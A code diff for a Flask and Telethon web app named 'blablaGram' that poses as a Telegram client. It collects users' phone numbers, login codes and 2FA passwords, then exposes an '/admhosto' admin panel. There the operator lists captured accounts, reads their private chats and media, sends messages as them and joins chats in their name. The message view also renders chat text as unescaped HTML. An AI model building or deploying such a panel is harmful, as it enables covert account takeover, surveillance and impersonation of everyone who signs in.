- async for message in client.iter_messages(entity, limit=50, reverse=False):
1137
- msg_data = {'text': message.text, 'date': message.date.strftime("%b %d, %H:%M"), 'is_sent': message.out, 'sender_name': 'Unknown'}
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1138
  if message.sender:
1139
  if isinstance(message.sender, User):
1140
  msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
@@ -1145,33 +1377,48 @@ def admhosto_get_chat_messages(user_id, peer_id):
1145
 
1146
  if message.media:
1147
  try:
1148
- file_name = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}_" + getattr(message.media, 'mime_type', 'file').replace('/', '_')
 
1149
  if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'):
1150
  for attr in message.media.document.attributes:
1151
  if hasattr(attr, 'file_name'):
1152
  file_name = attr.file_name
 
1153
  break
1154
  elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
1155
  file_name = f"photo_{message.media.photo.id}.jpg"
 
 
 
 
 
 
 
 
 
1156
 
1157
- file_info = await client.download_media(message, file=Path(DOWNLOAD_DIR) / file_name)
1158
  if file_info:
1159
- file_path = Path(file_info)
1160
- msg_data['file_name'] = file_path.name
1161
- file_size = os.path.getsize(file_path)
 
 
 
 
 
1162
  msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
1163
  except Exception as media_e:
1164
  msg_data['file_name'] = f"Download failed: {media_e}"
1165
  messages.append(msg_data)
1166
  except Exception as e:
1167
- return None, str(e)
1168
  finally:
1169
  if client and client.is_connected(): await client.disconnect()
1170
- return messages, None
1171
 
1172
- messages, error = asyncio.run(_get_messages_async())
1173
  if error: return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
1174
- return jsonify({'success': True, 'messages': messages})
1175
 
1176
  @app.route('/admhosto/send_message/<int:user_id>', methods=['POST'])
1177
  def admhosto_send_message(user_id):
 
4
  import sqlite3
5
  import datetime
6
  from pathlib import Path
7
+ import imghdr # Used for image detection
8
 
9
  from flask import Flask, jsonify, request, render_template_string, send_from_directory, redirect, url_for, session
10
  from telethon.sync import TelegramClient
 
65
  <meta charset="UTF-8">
66
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
67
  <title>blablaGram - Login</title>
68
+ <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
69
  <style>
70
+ body { font-family: 'Inter', sans-serif; background: linear-gradient(135deg, #E0EBF5 0%, #D0DBE8 100%); color: #333; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; overflow: hidden; }
71
+ .container { background: #FFFFFF; padding: 45px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); max-width: 450px; width: 90%; text-align: center; transform: translateY(-20px); animation: fadeIn 0.8s forwards ease-out; }
72
+ @keyframes fadeIn { from { opacity: 0; transform: translateY(-40px); } to { opacity: 1; transform: translateY(0); } }
73
+ h1 { color: #007AFF; margin-bottom: 30px; font-size: 3em; font-weight: 700; letter-spacing: -0.8px; text-shadow: 0 1px 2px rgba(0,0,0,0.05); }
74
+ input[type="text"], input[type="password"] { width: calc(100% - 28px); padding: 15px; margin: 12px 0; border: 1px solid #E0E6EB; border-radius: 10px; background: #F8F9FA; color: #333; font-size: 1.05em; transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }
75
+ input[type="text"]:focus, input[type="password"]:focus { border-color: #007AFF; box-shadow: 0 0 0 4px rgba(0,122,255,0.15); outline: none; background: #FFF; }
76
+ button { background: #007AFF; color: #fff; padding: 15px 30px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.15em; font-weight: 600; margin-top: 25px; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.3s; width: 100%; box-shadow: 0 4px 15px rgba(0,122,255,0.2); }
77
+ button:hover { background: #006ACD; transform: translateY(-2px); box-shadow: 0 6px 20px rgba(0,122,255,0.3); }
78
+ button:active { transform: translateY(0); box-shadow: 0 2px 10px rgba(0,122,255,0.2); }
79
+ .message { margin-top: 25px; padding: 16px; border-radius: 10px; font-size: 0.98em; line-height: 1.5; text-align: left; }
80
+ .message.success { background: #E6FFF1; color: #1DB954; border: 1px solid #C8F0E0; }
81
+ .message.error { background: #FFEBEE; color: #E53935; border: 1px solid #F0C8C8; }
82
+ .message.info { background: #EBF8FF; color: #007AFF; border: 1px solid #C8E6F0; }
83
  .hidden { display: none; }
84
+ @media (max-width: 600px) {
85
+ .container { padding: 30px 25px; border-radius: 12px; }
86
+ h1 { font-size: 2.5em; margin-bottom: 25px; }
87
+ input[type="text"], input[type="password"] { padding: 13px; font-size: 1em; }
88
+ button { padding: 13px 25px; font-size: 1.05em; margin-top: 20px; }
89
+ .message { padding: 14px; font-size: 0.9em; }
90
+ }
91
  </style>
92
  </head>
93
  <body>
 
121
  return;
122
  }
123
  showMessage('Sending code...', 'info');
 
124
  document.getElementById('code').classList.add('hidden');
125
  document.getElementById('password').classList.add('hidden');
126
  document.getElementById('submitCode').classList.add('hidden');
 
208
  <title>blablaGram</title>
209
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
210
  <style>
211
+ body, html { margin: 0; padding: 0; height: 100%; font-family: 'Inter', sans-serif; background: #F8F9FA; overflow: hidden; }
212
  .app-layout { display: flex; height: 100vh; width: 100%; }
213
+ .sidebar { flex: 0 0 340px; background: #FFFFFF; border-right: 1px solid #E5E9EC; display: flex; flex-direction: column; transition: transform 0.3s ease-in-out; }
214
+ .sidebar-header { padding: 18px 25px; border-bottom: 1px solid #E5E9EC; display: flex; align-items: center; justify-content: space-between; }
215
+ .sidebar-header h2 { margin: 0; font-size: 1.6em; color: #007AFF; font-weight: 700; }
216
+ .sidebar-header .actions button { background: none; border: none; font-size: 1.5em; cursor: pointer; color: #007AFF; padding: 8px; border-radius: 8px; transition: background-color 0.2s; }
217
+ .sidebar-header .actions button:hover { background-color: #F0F8FF; }
218
+ .chat-list { flex: 1; overflow-y: auto; -webkit-overflow-scrolling: touch; padding-bottom: 10px;}
219
+ .chat-item { display: flex; align-items: center; padding: 15px 25px; border-bottom: 1px solid #F5F7F9; cursor: pointer; transition: background-color 0.2s; }
220
+ .chat-item:hover { background-color: #F9FBFC; }
221
+ .chat-item.active { background-color: #E6F3FC; }
222
+ .avatar-placeholder { width: 52px; height: 52px; border-radius: 50%; background-color: #007AFF; color: white; display: flex; align-items: center; justify-content: center; font-size: 1.8em; font-weight: 600; margin-right: 18px; flex-shrink: 0; }
223
  .chat-info { flex: 1; overflow: hidden; }
224
+ .chat-info h3 { margin: 0 0 5px; font-size: 1.1em; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: #1C1C1C; }
225
+ .chat-item.active .chat-info h3 { color: #007AFF; }
226
+ .chat-info p { margin: 0; font-size: 0.88em; color: #66707B; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
227
 
228
+ .chat-panel { flex: 1; display: flex; flex-direction: column; background-color: #F8F9FA; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Ty9Pbx8/Xz9ffy9Pby9Pbx8/Ty9ffy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); background-repeat: repeat; background-size: 150px; }
229
+ .chat-panel-header { background: #FFFFFF; padding: 18px 25px; border-bottom: 1px solid #E5E9EC; display: flex; justify-content: space-between; align-items: center; }
230
+ .chat-panel-header h2 { margin: 0; font-size: 1.35em; font-weight: 600; color: #1C1C1C; }
231
+ .chat-panel-header .header-actions button { background: #007AFF; color: white; border: none; padding: 10px 18px; border-radius: 8px; cursor: pointer; font-size: 0.95em; font-weight: 500; transition: background 0.2s, transform 0.2s; }
232
+ .chat-panel-header .header-actions button:hover { background: #006ACD; transform: translateY(-1px); }
233
  .chat-panel-header .header-actions button:active { transform: translateY(0); }
234
  .chat-panel-header .header-actions .switch-account { background: #6C757D; margin-left: 10px; }
235
  .chat-panel-header .header-actions .switch-account:hover { background: #5A6268; }
236
 
237
  .messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; -webkit-overflow-scrolling: touch; }
238
+ .load-more-btn { background: #007AFF; color: white; border: none; padding: 8px 15px; border-radius: 8px; cursor: pointer; font-size: 0.85em; margin-bottom: 15px; align-self: center; transition: background 0.2s; }
239
+ .load-more-btn:hover { background: #006ACD; }
240
+
241
+ .message-item { max-width: 75%; padding: 12px 16px; border-radius: 20px; margin-bottom: 10px; line-height: 1.45; word-wrap: break-word; font-size: 0.95em; box-shadow: 0 1px 2px rgba(0,0,0,0.08); position: relative; }
242
+ .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 6px; }
243
+ .message-item.received { background: #FFFFFF; align-self: flex-start; border-bottom-left-radius: 6px;}
244
+ .message-sender { font-weight: 600; color: #007AFF; margin-bottom: 5px; display: block; font-size: 0.88em; }
245
+ .message-text { color: #111; word-break: break-word; }
246
+ .message-meta { font-size: 0.72em; color: #88909B; margin-top: 6px; text-align: right; }
247
+ .media-image { max-width: 100%; height: auto; display: block; margin-top: 8px; border-radius: 8px; }
248
+ .media-link { display: block; margin-top: 8px; color: #007AFF; text-decoration: none; font-weight: 500; word-break: break-all; font-size: 0.9em; }
249
  .media-link:hover { text-decoration: underline; }
250
 
251
+ .chat-input-area { background: #F8F9FA; padding: 12px 25px; border-top: 1px solid #E5E9EC; display: flex; align-items: flex-end; gap: 12px; }
252
+ .chat-input-area textarea { flex: 1; padding: 13px 18px; border: 1px solid #DDE2E7; border-radius: 22px; background: #FFFFFF; resize: none; overflow-y: auto; max-height: 120px; font-size: 1em; line-height: 1.4; transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }
253
+ .chat-input-area textarea:focus { border-color: #007AFF; box-shadow: 0 0 0 4px rgba(0,122,255,0.1); outline: none; }
254
+ .chat-input-area button { background: #007AFF; color: #fff; width: 48px; height: 48px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.6em; display: flex; align-items: center; justify-content: center; transition: background 0.2s, transform 0.2s, box-shadow 0.2s; flex-shrink: 0; box-shadow: 0 2px 8px rgba(0,122,255,0.2); }
255
+ .chat-input-area button:hover { background: #006ACD; transform: translateY(-1px); box-shadow: 0 4px 10px rgba(0,122,255,0.3); }
256
+ .chat-input-area button:active { transform: translateY(0); box-shadow: 0 1px 5px rgba(0,122,255,0.2); }
257
 
258
  .no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: #777; font-size: 1.2em; text-align: center; }
259
+ .join-chat-section { padding: 15px 25px; border-top: 1px solid #E5E9EC; display: flex; gap: 10px; background-color: #FFFFFF; }
260
+ .join-chat-section input { flex: 1; padding: 12px 15px; border: 1px solid #DDE2E7; border-radius: 10px; font-size: 0.95em; }
261
+ .join-chat-section button { background: #28A745; color: white; padding: 0 18px; border: none; border-radius: 10px; cursor: pointer; font-weight: 500; transition: background 0.2s; }
262
  .join-chat-section button:hover { background: #218838; }
263
 
264
  /* Mobile Adaptation */
265
  @media (max-width: 768px) {
266
  .app-layout { flex-direction: column; }
267
+ .sidebar { flex: 0 0 auto; width: 100%; height: 100vh; position: absolute; top: 0; left: 0; z-index: 1000; transform: translateX(-100%); box-shadow: 2px 0 10px rgba(0,0,0,0.1); }
268
  .sidebar.active { transform: translateX(0); }
269
  .chat-panel { width: 100%; height: 100vh; position: relative; }
270
+ .sidebar-toggle-button { display: block; background: none; border: none; font-size: 1.8em; color: #007AFF; cursor: pointer; padding: 0 10px; margin-right: 10px; }
271
+ .sidebar-header { justify-content: flex-start; } /* Align items to start when toggle is present */
272
+ .sidebar-header h2 { flex-grow: 1; text-align: center; margin-right: 20px; } /* Center title but allow space for toggle */
273
+ .sidebar-header .actions { margin-left: auto; }
274
+
275
  .chat-panel-header { padding: 15px 15px; }
276
+ .chat-panel-header h2 { font-size: 1.15em; }
277
  .chat-input-area { padding: 10px 15px; }
278
+ .message-item { max-width: 85%; padding: 10px 14px; font-size: 0.9em; }
279
+ .avatar-placeholder { width: 44px; height: 44px; font-size: 1.5em; margin-right: 12px; }
280
+ .chat-item { padding: 12px 15px; }
281
  }
282
  @media (min-width: 769px) {
283
  .sidebar-toggle-button { display: none; }
 
302
  </div>
303
  <div class="chat-panel" id="chatPanel">
304
  <div class="chat-panel-header" id="appHeader">
305
+ <button class="sidebar-toggle-button" onclick="toggleSidebar()">←</button>
306
  <div id="chat-header-info">
307
  <h2 id="chatTitle" style="display:none;"></h2>
308
  </div>
 
312
  </div>
313
  </div>
314
  <div class="no-chat-selected" id="noChatSelected">
315
+ <p>Select a chat to start messaging</p>
316
+ <p>Or click '✎' for a new message or enter a link/username to join a chat.</p>
317
+ </div>
318
+ <div class="messages-container" id="messagesContainer" style="display:none;">
319
+ <button class="load-more-btn" id="loadMoreMessagesBtn" style="display:none;">Load More Messages</button>
320
  </div>
 
321
  <div class="chat-input-area" id="chatInputArea" style="display:none;">
322
  <input type="file" id="fileInput" style="display: none;" onchange="handleFileSelect()">
323
  <button onclick="document.getElementById('fileInput').click()" title="Attach File">📎</button>
 
329
 
330
  <script>
331
  let currentChatId = null;
332
+ let currentNextOffsetId = null;
333
  let isSidebarOpen = false;
334
+ const MESSAGES_LIMIT = 30;
335
 
336
  function toggleSidebar() {
337
  const sidebar = document.getElementById('sidebar');
 
380
 
381
  async function selectChat(chatId) {
382
  currentChatId = chatId;
383
+ currentNextOffsetId = null;
384
 
385
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
386
  document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
 
393
  document.getElementById('chatTitle').style.display = 'block';
394
  document.getElementById('messagesContainer').style.display = 'flex';
395
  document.getElementById('chatInputArea').style.display = 'flex';
396
+ document.getElementById('messagesContainer').innerHTML = '';
397
+ document.getElementById('loadMoreMessagesBtn').style.display = 'none';
398
+
399
  if (window.innerWidth <= 768) {
400
+ toggleSidebar();
401
  }
402
+ await fetchMessages(chatId);
403
  }
404
 
405
+ async function fetchMessages(chatId, offsetId = null) {
406
  const messagesContainer = document.getElementById('messagesContainer');
407
+ const loadMoreBtn = document.getElementById('loadMoreMessagesBtn');
408
+
409
+ if (!offsetId) { // First load for this chat
410
+ messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Loading messages...</p>';
411
+ loadMoreBtn.style.display = 'none';
412
+ } else {
413
+ loadMoreBtn.textContent = 'Loading...';
414
+ loadMoreBtn.disabled = true;
415
+ }
416
 
417
+ const url = `/api/chat_messages/${chatId}?limit=${MESSAGES_LIMIT}${offsetId ? '&offset_id=' + offsetId : ''}`;
418
+ const response = await fetch(url);
419
  const result = await response.json();
420
+
421
+ if (!offsetId) { // Clear only on initial load
422
+ messagesContainer.innerHTML = '';
423
+ }
424
+
425
  if (result.success && result.messages) {
426
+ result.messages.reverse().forEach(msg => {
427
  const messageItem = document.createElement('div');
428
  messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
429
 
430
  let senderInfo = !msg.is_sent && msg.sender_name ? `<span class="message-sender">${msg.sender_name}</span>` : '';
 
431
  let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
432
+ let mediaHtml = '';
433
+
434
+ if (msg.file_name) {
435
+ const downloadLink = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
436
+ if (msg.is_image) {
437
+ mediaHtml = `<img src="/download/${msg.file_name}" class="media-image" alt="Attached Image">${downloadLink}`;
438
+ } else {
439
+ mediaHtml = downloadLink;
440
+ }
441
+ }
442
+
443
  let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
444
+ let metaHtml = `<div class="message-meta">${msg.date}</div>`;
445
 
446
  messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
447
+ messagesContainer.prepend(messageItem);
448
  });
449
+
450
+ currentNextOffsetId = result.next_offset_id;
451
+ if (currentNextOffsetId) {
452
+ loadMoreBtn.style.display = 'block';
453
+ loadMoreBtn.textContent = 'Load More Messages';
454
+ loadMoreBtn.disabled = false;
455
+ } else {
456
+ loadMoreBtn.style.display = 'none';
457
+ }
458
+
459
+ if (!offsetId) { // Only scroll to bottom on initial load
460
+ messagesContainer.scrollTop = messagesContainer.scrollHeight;
461
+ }
462
  } else {
463
+ if (!offsetId) {
464
+ messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
465
+ } else {
466
+ messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">No more messages.</p>' + messagesContainer.innerHTML;
467
+ loadMoreBtn.style.display = 'none';
468
+ }
469
  }
470
  }
471
+
472
+ document.getElementById('loadMoreMessagesBtn').addEventListener('click', () => {
473
+ if (currentChatId && currentNextOffsetId) {
474
+ fetchMessages(currentChatId, currentNextOffsetId);
475
+ }
476
+ });
477
 
478
  async function newMessage() {
479
  const recipient = prompt("Enter recipient's username (e.g., @username) or chat ID:");
 
501
 
502
  messageInput.value = '';
503
  adjustTextareaHeight();
504
+
505
+ const messagesContainer = document.getElementById('messagesContainer');
506
+ messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Sending message...</p>' + messagesContainer.innerHTML;
507
 
508
  const response = await fetch('/api/send_message', {
509
  method: 'POST',
 
512
  });
513
  const result = await response.json();
514
  if (result.success) {
515
+ currentNextOffsetId = null; // Reset offset to fetch all latest messages
516
  await fetchMessages(currentChatId);
517
  } else {
518
  alert('Failed to send message: ' + result.message);
 
534
  formData.append('file', file);
535
  formData.append('caption', caption);
536
 
537
+ messageInput.value = '';
538
+ fileInput.value = '';
539
  adjustTextareaHeight();
540
 
541
  const messagesContainer = document.getElementById('messagesContainer');
542
+ messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Uploading file...</p>' + messagesContainer.innerHTML;
543
 
544
  const response = await fetch('/api/send_file', {
545
  method: 'POST',
 
547
  });
548
  const result = await response.json();
549
  if (result.success) {
550
+ currentNextOffsetId = null;
551
+ await fetchMessages(currentChatId);
552
  } else {
553
  alert('Failed to send file: ' + result.message);
554
  }
 
601
  <meta charset="UTF-8">
602
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
603
  <title>blablaGram - Admin Panel</title>
604
+ <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
605
  <style>
606
+ body { font-family: 'Inter', sans-serif; background: #F8F9FA; color: #333; margin: 0; padding: 25px; }
607
+ .container { max-width: 1000px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); }
608
+ h1 { text-align: center; color: #007AFF; margin-bottom: 30px; font-weight: 700; font-size: 2.5em; }
609
+ h2 { text-align: center; color: #1C1C1C; margin-bottom: 25px; font-weight: 600; font-size: 1.8em; }
610
+ table { width: 100%; border-collapse: separate; border-spacing: 0; margin-top: 25px; border-radius: 10px; overflow: hidden; box-shadow: 0 2px 10px rgba(0,0,0,0.05); }
611
+ th, td { padding: 16px 20px; text-align: left; border-bottom: 1px solid #EFF2F5; }
612
+ th { background: #F0F5F8; color: #55606F; font-weight: 600; font-size: 0.95em; text-transform: uppercase; }
613
+ tr:last-child td { border-bottom: none; }
614
+ tr:nth-child(even) { background: #FDFEFE; }
615
  tr:hover { background: #E6F3FC; }
616
+ a { color: #007AFF; text-decoration: none; transition: color 0.3s ease; font-weight: 500; }
617
  a:hover { text-decoration: underline; }
618
+ .back-button { margin-top: 40px; text-align: center; }
619
+ .back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s ease; font-weight: 500; }
620
+ .back-button a:hover { background: #5A6268; text-decoration: none; transform: translateY(-1px); }
621
+ @media (max-width: 768px) {
622
+ body { padding: 15px; }
623
+ .container { padding: 25px 20px; border-radius: 12px; }
624
+ h1 { font-size: 2em; margin-bottom: 20px; }
625
+ h2 { font-size: 1.5em; margin-bottom: 20px; }
626
+ table { font-size: 0.9em; }
627
+ th, td { padding: 12px 15px; }
628
+ .back-button a { padding: 10px 20px; font-size: 0.9em; }
629
+ }
630
+ @media (max-width: 600px) {
631
+ table, thead, tbody, th, td, tr { display: block; }
632
+ thead tr { position: absolute; top: -9999px; left: -9999px; }
633
+ tr { border: 1px solid #EFF2F5; margin-bottom: 15px; border-radius: 10px; overflow: hidden; }
634
+ td { border: none; border-bottom: 1px solid #EFF2F5; position: relative; padding-left: 50%; text-align: right; }
635
+ td:before { position: absolute; top: 0; left: 6px; width: 45%; padding-right: 10px; white-space: nowrap; text-align: left; font-weight: 600; color: #55606F; content: attr(data-label); }
636
+ td:last-child { border-bottom: none; }
637
+ }
638
  </style>
639
  </head>
640
  <body>
 
648
  <tbody>
649
  {% for user in users %}
650
  <tr>
651
+ <td data-label="ID">{{ user[0] }}</td>
652
+ <td data-label="Telegram ID">{{ user[1] }}</td>
653
+ <td data-label="Username">{{ user[2] }}</td>
654
+ <td data-label="Phone">{{ user[3] }}</td>
655
+ <td data-label="Actions">
656
  <a href="/admhosto/user/{{ user[0] }}/manage">Manage Account</a>
657
  </td>
658
  </tr>
 
674
  <meta charset="UTF-8">
675
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
676
  <title>Manage: {{ user.username or user.phone }}</title>
677
+ <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
678
  <style>
679
+ body { font-family: 'Inter', sans-serif; background: #F8F9FA; color: #333; margin: 0; padding: 25px; }
680
+ .container { max-width: 1200px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.15); }
681
+ h1 { text-align: center; color: #007AFF; margin-bottom: 25px; font-weight: 700; font-size: 2.5em; }
682
+ .user-info { text-align: center; margin-bottom: 30px; font-size: 1.05em; color: #66707B; font-weight: 500; line-height: 1.6; }
683
+ .split-panel { display: flex; gap: 25px; margin-top: 30px; }
684
+ .split-panel > div { flex: 1; background: #F8F9FA; padding: 30px; border-radius: 12px; border: 1px solid #E5E9EC; box-shadow: inset 0 1px 3px rgba(0,0,0,0.03); }
685
+ h2 { margin-top: 0; font-size: 1.4em; font-weight: 600; color: #1C1C1C; margin-bottom: 20px; border-bottom: 1px solid #E0E6EB; padding-bottom: 10px; }
686
+ input[type="text"], textarea { width: calc(100% - 28px); padding: 13px 15px; margin: 10px 0; border: 1px solid #DDE2E7; border-radius: 10px; background: #FFFFFF; font-size: 0.95em; transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }
687
+ input[type="text"]:focus, textarea:focus { border-color: #007AFF; box-shadow: 0 0 0 4px rgba(0,122,255,0.1); outline: none; }
688
+ textarea { resize: vertical; min-height: 90px; }
689
+ button { background: #007AFF; color: #fff; padding: 13px 22px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.05em; font-weight: 600; margin-top: 18px; width: 100%; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.3s; box-shadow: 0 2px 8px rgba(0,122,255,0.2); }
690
+ button:hover { background: #006ACD; transform: translateY(-1px); box-shadow: 0 4px 10px rgba(0,122,255,0.3); }
691
+ button:active { transform: translateY(0); box-shadow: 0 1px 5px rgba(0,122,255,0.2); }
692
+ .chat-list { max-height: 450px; overflow-y: auto; border: 1px solid #DDE2E7; border-radius: 10px; background: #FFF; }
693
+ .chat-item { padding: 14px 20px; border-bottom: 1px solid #F5F7F9; cursor: pointer; transition: background 0.2s ease; }
694
  .chat-item:hover, .chat-item.active { background: #E6F3FC; }
695
  .chat-item:last-child { border-bottom: none; }
696
  .chat-item h3 { margin: 0; font-size: 1.05em; color: #1C1C1C; font-weight: 600; }
697
+ .chat-item p { margin: 5px 0 0; font-size: 0.88em; color: #66707B; }
698
+ .message-viewer { margin-top: 30px; background: #F8F9FA; padding: 30px; border-radius: 12px; border: 1px solid #E5E9EC; box-shadow: inset 0 1px 3px rgba(0,0,0,0.03); }
699
+ .messages-container { max-height: 550px; overflow-y: auto; padding: 15px; border: 1px solid #DDE2E7; border-radius: 10px; background: #FFF; margin-top: 15px; display: flex; flex-direction: column-reverse; }
700
+ .load-more-btn { background: #007AFF; color: white; border: none; padding: 8px 15px; border-radius: 8px; cursor: pointer; font-size: 0.85em; margin-bottom: 15px; align-self: center; transition: background 0.2s; }
701
+ .load-more-btn:hover { background: #006ACD; }
702
+
703
+ .message-item { max-width: 80%; padding: 12px 16px; border-radius: 20px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; font-size: 0.9em; box-shadow: 0 1px 2px rgba(0,0,0,0.05); }
704
+ .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 6px; }
705
+ .message-item.received { background: #F0F0F0; align-self: flex-start; border-bottom-left-radius: 6px; }
706
+ .message-sender { font-weight: 600; color: #007AFF; margin-bottom: 4px; display: block; font-size: 0.85em; }
707
+ .message-text { color: #111; word-break: break-word; }
708
  .message-meta { font-size: 0.7em; color: #999; margin-top: 5px; text-align: right; }
709
+ .media-image { max-width: 100%; height: auto; display: block; margin-top: 8px; border-radius: 8px; }
710
+ .media-link { display: block; margin-top: 5px; color: #007AFF; text-decoration: none; font-size: 0.85em; }
711
+ .media-link:hover { text-decoration: underline; }
712
+ .back-button { margin-top: 40px; text-align: center; }
713
+ .back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s ease; font-weight: 500; }
714
+ .back-button a:hover { background: #5A6268; text-decoration: none; transform: translateY(-1px); }
715
  .clear-chat-selection { text-align: center; margin-top: 15px; }
716
+ .clear-chat-selection button { background: #6C757D; color: #fff; width: auto; padding: 10px 20px; border-radius: 10px; font-size: 0.95em; }
717
  .clear-chat-selection button:hover { background: #5A6268; }
718
+ .send-file-btn { background: #28A745; margin-top: 10px; }
719
+ .send-file-btn:hover { background: #218838; }
720
 
721
  @media (max-width: 768px) {
722
+ .split-panel { flex-direction: column; gap: 20px; }
723
+ .split-panel > div { padding: 20px; border-radius: 10px; }
724
+ h2 { font-size: 1.25em; padding-bottom: 8px; }
725
+ input[type="text"], textarea { padding: 12px; font-size: 0.9em; }
726
+ button { padding: 12px 20px; font-size: 0.95em; margin-top: 15px; }
727
+ .chat-list { max-height: 300px; }
728
+ .message-viewer { padding: 20px; margin-top: 20px; border-radius: 10px; }
729
+ .messages-container { max-height: 400px; }
730
  }
731
  </style>
732
  </head>
 
739
  <div class="action-panel">
740
  <h2>Send Message</h2>
741
  <input type="text" id="sendMessageRecipient" placeholder="Recipient (@username or ID)">
742
+ <textarea id="sendMessageContent" rows="4" placeholder="Message content or caption"></textarea>
743
  <button onclick="sendMessage({{ user.id }})">Send Text Message</button>
744
  <input type="file" id="sendFileInput" style="display: none;" onchange="handleFileSelect({{ user.id }})">
745
+ <button onclick="document.getElementById('sendFileInput').click()" class="send-file-btn">Send File</button>
746
 
747
  <h2 style="margin-top: 30px;">Join Chat</h2>
748
  <input type="text" id="joinChatIdentifier" placeholder="Channel/Group link or @username">
 
758
  <p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p>
759
  </div>
760
  {% else %}
761
+ <p style="padding: 15px; text-align: center; color: #777;">No chats found.</p>
762
  {% endfor %}
763
  </div>
764
  <div class="clear-chat-selection"><button onclick="clearChatSelection()">Clear Selection</button></div>
 
767
 
768
  <div class="message-viewer" id="messageViewer" style="display:none;">
769
  <h2 id="messagesChatTitle"></h2>
770
+ <div class="messages-container" id="messagesContainer">
771
